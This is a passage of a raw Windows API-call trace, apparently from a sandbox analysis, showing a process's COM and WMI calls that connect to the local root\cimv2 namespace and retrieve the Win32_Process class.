riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc88 | out: ppvObject=0x1b30cc88*=0x1b48adf0) returned 0x0 [0104.298] WbemLocator:IUnknown:Release (This=0x1b48ac30) returned 0x0 [0104.298] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48adf0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca30 | out: ppvObject=0x1b30ca30*=0x1b48adf0) returned 0x0 [0104.298] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48adf0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x0) returned 0x80004002 [0104.298] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48adf0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c2b8 | out: ppvObject=0x1b30c2b8*=0x0) returned 0x80004002 [0104.299] WbemLocator:IUnknown:AddRef (This=0x1b48adf0) returned 0x3 [0104.299] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48adf0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c178 | out: ppvObject=0x1b30c178*=0x0) returned 0x80004002 [0104.299] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48adf0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c100 | out: ppvObject=0x1b30c100*=0x0) returned 0x80004002 [0104.299] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48adf0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0f0 | out: ppvObject=0x1b30c0f0*=0x0) returned 0x80004002 [0104.299] CoGetContextToken (in: pToken=0x1b30c1a0 | out: pToken=0x1b30c1a0) returned 0x0 [0104.299] CoGetContextToken (in: pToken=0x1b30c620 | out: pToken=0x1b30c620) returned 0x0 [0104.299] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48adf0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6e0 | out: ppvObject=0x1b30c6e0*=0x0) returned 0x80004002 [0104.299] WbemLocator:IUnknown:Release (This=0x1b48adf0) returned 0x2 [0104.299] WbemLocator:IUnknown:Release (This=0x1b48adf0) returned 0x1 [0104.299] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0104.299] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0104.299] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48adf0, riid=0x1b30d0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b48adf0) returned 0x0 [0104.299] WbemLocator:IUnknown:AddRef (This=0x1b48adf0) returned 0x3 [0104.299] WbemLocator:IUnknown:Release (This=0x1b48adf0) returned 0x2 [0104.299] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6564b0, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0104.299] WbemDefPath:IWbemPath:GetText (in: This=0x6564b0, lFlags=8, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0104.299] WbemDefPath:IWbemPath:GetText (in: This=0x6564b0, lFlags=8, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0104.299] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d100 | out: ppv=0x1b30d100*=0x1b48ac70) returned 0x0 [0104.299] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b48ac70, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d348 | out: ppNamespace=0x1b30d348*=0x63c860) returned 0x0 [0104.322] WbemLocator:IUnknown:QueryInterface (in: This=0x63c860, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf78 | out: ppvObject=0x1b30cf78*=0x1b425d50) returned 0x0 [0104.322] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b425d50, pProxy=0x63c860, pAuthnSvc=0x1b30d040, pAuthzSvc=0x1b30cfc0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4, pImpLevel=0x1b30cfd0, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4 | out: pAuthnSvc=0x1b30d040*=0xa, pAuthzSvc=0x1b30cfc0*=0x0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4*=0x6, pImpLevel=0x1b30cfd0*=0x2, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4*=0x1) returned 0x0 [0104.322] WbemLocator:IUnknown:Release (This=0x1b425d50) returned 0x1 [0104.322] WbemLocator:IUnknown:QueryInterface (in: This=0x63c860, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf10 | out: ppvObject=0x1b30cf10*=0x1b425d98) returned 0x0 [0104.322] WbemLocator:IUnknown:QueryInterface (in: This=0x63c860, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf20 | out: ppvObject=0x1b30cf20*=0x1b425d50) returned 0x0 [0104.322] WbemLocator:IClientSecurity:SetBlanket (This=0x1b425d50, pProxy=0x63c860, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0104.323] WbemLocator:IUnknown:Release (This=0x1b425d50) returned 0x2 [0104.323] WbemLocator:IUnknown:Release (This=0x1b425d98) returned 0x1 [0104.323] CoTaskMemFree (pv=0x1b461310) [0104.323] WbemLocator:IUnknown:Release (This=0x1b48ac70) returned 0x0 [0104.323] WbemLocator:IUnknown:QueryInterface (in: This=0x63c860, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca10 | out: ppvObject=0x1b30ca10*=0x1b425d98) returned 0x0 [0104.323] WbemLocator:IUnknown:QueryInterface (in: This=0x1b425d98, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x0) returned 0x80004002 [0104.329] WbemLocator:IUnknown:QueryInterface (in: This=0x1b425d98, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x0) returned 0x80004002 [0104.333] WbemLocator:IUnknown:QueryInterface (in: This=0x63c860, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c298 | out: ppvObject=0x1b30c298*=0x0) returned 0x80004002 [0104.339] WbemLocator:IUnknown:AddRef (This=0x1b425d98) returned 0x3 [0104.339] WbemLocator:IUnknown:QueryInterface (in: This=0x1b425d98, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c158 | out: ppvObject=0x1b30c158*=0x0) returned 0x80004002 [0104.339] WbemLocator:IUnknown:QueryInterface (in: This=0x1b425d98, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c0e0 | out: ppvObject=0x1b30c0e0*=0x0) returned 0x80004002 [0104.339] WbemLocator:IUnknown:QueryInterface (in: This=0x1b425d98, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0d0 | out: ppvObject=0x1b30c0d0*=0x1b425c78) returned 0x0 [0104.339] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b425c78, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c0f8 | out: pCid=0x1b30c0f8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0104.339] WbemLocator:IUnknown:Release (This=0x1b425c78) returned 0x3 [0104.339] CoGetContextToken (in: pToken=0x1b30c180 | out: pToken=0x1b30c180) returned 0x0 [0104.339] CoGetContextToken (in: pToken=0x1b30c600 | out: pToken=0x1b30c600) returned 0x0 [0104.339] WbemLocator:IUnknown:QueryInterface (in: This=0x1b425d98, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x1b425d60) returned 0x0 [0104.339] WbemLocator:IRpcOptions:Query (in: This=0x1b425d60, pPrx=0x1b425d98, dwProperty=2, pdwValue=0x1b30c6b0 | out: pdwValue=0x1b30c6b0) returned 0x80004002 [0104.339] WbemLocator:IUnknown:Release (This=0x1b425d60) returned 0x3 [0104.340] WbemLocator:IUnknown:Release (This=0x1b425d98) returned 0x2 [0104.340] CoGetContextToken (in: pToken=0x1b30ccc0 | out: pToken=0x1b30ccc0) returned 0x0 [0104.340] CoGetContextToken (in: pToken=0x1b30cbc0 | out: pToken=0x1b30cbc0) returned 0x0 [0104.340] WbemLocator:IUnknown:QueryInterface (in: This=0x1b425d98, riid=0x1b30cd20*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30ccf0 | out: ppvObject=0x1b30ccf0*=0x63c860) returned 0x0 [0104.340] WbemLocator:IUnknown:AddRef (This=0x63c860) returned 0x4 [0104.340] WbemLocator:IUnknown:Release (This=0x63c860) returned 0x3 [0104.340] WbemLocator:IUnknown:Release (This=0x63c860) returned 0x2 [0104.340] SysStringLen (param_1=0x0) returned 0x0 [0104.340] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6564b0, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0104.340] WbemDefPath:IWbemPath:GetText (in: This=0x6564b0, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0104.341] WbemDefPath:IWbemPath:GetText (in: This=0x6564b0, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0104.341] CoGetContextToken (in: pToken=0x1b30cde0 | out: pToken=0x1b30cde0) returned 0x0 [0104.341] WbemLocator:IUnknown:AddRef (This=0x1b425d98) returned 0x3 [0104.341] WbemLocator:IUnknown:QueryInterface (in: This=0x1b425d98, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cde0 | out: ppvObject=0x1b30cde0*=0x1b425d98) returned 0x0 [0104.341] WbemLocator:IUnknown:Release (This=0x1b425d98) returned 0x3 [0104.341] WbemLocator:IUnknown:Release (This=0x1b425d98) returned 0x2 [0104.341] WbemDefPath:IWbemPath:GetText (in: This=0x656270, lFlags=2, puBuffLength=0x1b30d4e0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4e0*=0xe, pszText=0x0) returned 0x0 [0104.341] WbemDefPath:IWbemPath:GetText (in: This=0x656270, lFlags=2, puBuffLength=0x1b30d4e0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d4e0*=0xe, pszText="Win32_Process") returned 0x0 [0104.341] IWbemServices:GetObject (in: This=0x63c860, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d460*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d460*=0x1b470950, ppCallResult=0x0) returned 0x0 [0104.350] IWbemClassObject:Get (in: This=0x1b470950, wszName="__PATH", lFlags=0, pVal=0x1b30d3f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d558*=0, plFlavor=0x1b30d550*=0 | out: pVal=0x1b30d3f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b30d558*=8, plFlavor=0x1b30d550*=64) returned 0x0 [0104.350] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0104.350] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0104.350] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d428 | out: ppv=0x1b30d428*=0x6124e8) returned 0x0 [0104.350] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d418 | out: pAptType=0x1b30d418*=1) returned 0x0 [0104.350] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d420 | out: ppvObject=0x1b30d420*=0x0) returned 0x80004002 [0104.350] IUnknown:Release (This=0x6124e8) returned 0x1 [0104.351] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c818 | out: ppv=0x1b30c818*=0x1b48ac30) returned 0x0 [0104.351] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48ac30, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c900 | out: ppvObject=0x1b30c900*=0x0) returned 0x80004002 [0104.351] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48ac30, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8d8 | out: ppvObject=0x1b30c8d8*=0x656cf0) returned 0x0 [0104.351] WbemDefPath:IUnknown:Release (This=0x1b48ac30) returned 0x0 [0104.351] WbemDefPath:IUnknown:QueryInterface (in: This=0x656cf0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c680 | out: ppvObject=0x1b30c680*=0x656cf0) returned 0x0 [0104.351] WbemDefPath:IUnknown:QueryInterface (in: This=0x656cf0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c710 | out: ppvObject=0x1b30c710*=0x0) returned 0x80004002 [0104.351] WbemDefPath:IUnknown:QueryInterface (in: This=0x656cf0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf08 | out: ppvObject=0x1b30bf08*=0x0) returned 0x80004002 [0104.351] WbemDefPath:IUnknown:AddRef (This=0x656cf0) returned 0x3 [0104.351] WbemDefPath:IUnknown:QueryInterface (in: This=0x656cf0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdc8 | out: ppvObject=0x1b30bdc8*=0x0) returned 0x80004002 [0104.351] WbemDefPath:IUnknown:QueryInterface (in: This=0x656cf0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd50 | out: ppvObject=0x1b30bd50*=0x0) returned 0x80004002 [0104.351] WbemDefPath:IUnknown:QueryInterface (in: This=0x656cf0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x1b48ae90) returned 0x0 [0104.352] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48ae90, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd68 | out: pCid=0x1b30bd68*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0104.352] WbemDefPath:IUnknown:Release (This=0x1b48ae90) returned 0x3 [0104.352] CoGetContextToken (in: pToken=0x1b30bdf0 | out: pToken=0x1b30bdf0) returned 0x0 [0104.352] CoGetContextToken (in: pToken=0x1b30c270 | out: pToken=0x1b30c270) returned 0x0 [0104.352] WbemDefPath:IUnknown:QueryInterface (in: This=0x656cf0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c330 | out: ppvObject=0x1b30c330*=0x0) returned 0x80004002 [0104.352] WbemDefPath:IUnknown:Release (This=0x656cf0) returned 0x2 [0104.352] WbemDefPath:IUnknown:Release (This=0x656cf0) returned 0x1 [0104.352] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0104.352] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0104.352] WbemDefPath:IUnknown:QueryInterface (in: This=0x656cf0, riid=0x1b30d0c0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x656cf0) returned 0x0 [0104.352] WbemDefPath:IUnknown:AddRef (This=0x656cf0) returned 0x3 [0104.352] WbemDefPath:IUnknown:Release (This=0x656cf0) returned 0x2 [0104.352] WbemDefPath:IWbemPath:SetText (This=0x656cf0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0104.352] IWbemClassObject:Get (in: This=0x1b470950, wszName="__SERVER", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=0, plFlavor=0x1b30d608*=0 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XC64ZB", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0104.352] SysStringByteLen (bstr="XC64ZB") returned 0xc [0104.352] SysStringByteLen (bstr="XC64ZB") returned 0xc [0104.352] IWbemClassObject:Get (in: This=0x1b470950, wszName="__NAMESPACE", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0104.353] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0104.353] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0104.353] IWbemClassObject:Get (in: This=0x1b470950, wszName="__CLASS", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0104.353] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0104.353] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0104.353] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0104.353] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0104.353] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0104.353] IUnknown:Release (This=0x6124e8) returned 0x1 [0104.354] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b48b4f0) returned 0x0 [0104.354] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48b4f0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0104.354] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48b4f0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x655c70) returned 0x0 [0104.354] WbemDefPath:IUnknown:Release (This=0x1b48b4f0) returned 0x0 [0104.354] WbemDefPath:IUnknown:QueryInterface (in: This=0x655c70, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x655c70) returned 0x0 [0104.354] WbemDefPath:IUnknown:QueryInterface (in: This=0x655c70, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0104.354] WbemDefPath:IUnknown:QueryInterface (in: This=0x655c70, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, 